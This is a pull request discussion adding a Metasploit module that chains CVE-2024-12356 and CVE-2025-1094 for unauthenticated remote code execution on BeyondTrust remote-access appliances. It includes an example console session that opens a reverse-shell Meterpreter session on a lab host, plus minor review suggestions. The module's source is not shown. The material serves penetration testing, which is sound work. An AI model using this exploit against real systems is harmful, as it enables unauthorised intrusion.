Exploit module for BeyondTrust Privileged Remote Access & Remote Support (CVE-2024-12356, CVE-2025-1094)

[sfewer-r7]

Overview

This pull request adds an unauthenticated RCE exploit module targeting BeyondTrust Privileged Remote Access & Remote Support, leveraging CVE-2024-12356 + CVE-2025-1094.

CVE-2024-12356 is an argument injection issue in the BeyondTrust code base, and CVE-2025-1094 is a SQL injection issue in the PostgreSQL code base (shipped as a component in the BeyondTrust appliance).

The exploit can either leverage CVE-2024-12356 and CVE-2025-1094 together, or solely leverage CVE-2025-1094 (this is the default) for RCE. Arbitrary code execution is achieved with the privileges of the current site user (i.e. not root).

For a full technical analysis of the vulnerabilities, please read our AttackerKB Rapid7 Analysis.

Example

msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > check
[*] 192.168.86.105:443 - The target appears to be vulnerable. Detected version 24.1.2
msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected version 24.1.2
[*] Using company name: mytestcompany
[*] Sending stage (3045380 bytes) to 192.168.86.105
[*] Meterpreter session 1 opened (192.168.86.122:4444 -> 192.168.86.105:10104) at 2025-01-31 10:51:38 +0000

meterpreter > getuid
Server username: mytestcompany
meterpreter > sysinfo
Computer     : 192.168.86.105
OS           : Gentoo 2.14 (Linux 6.1.76-bt)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

[sfewer-r7]

Adding a comment here to mention that this module relies on #19834 - to fix an issue with WebSockets, so dropping the module into an older version of the framework wont work, you need to run MSF that has the WebSocket bug fix in it (MSF 6.4.47 and above).

[jvoisin]

Suggested change

	# We also want to avoid any forward slash characters if CVE-2024-12356 is being leveraged.
	# We also want to avoid any backward slash characters if CVE-2024-12356 is being leveraged.

[jvoisin]

Suggested change

	return CheckCode::Unknown("Unexpected response code #{res.code == 200}") unless res.code == 200
	return CheckCode::Unknown("Unexpected response code #{res.code != 200}") unless res.code == 200

[jvoisin]

Suggested change

	# First there is a "0 Successful\nLOCALE_ID\nTIMESTAMP\n" value, we we use a regex to match this so we can ignore it.
	# First there is a "0 Successful\nLOCALE_ID\nTIMESTAMP\n" value, we use a regex to match this so we can ignore it.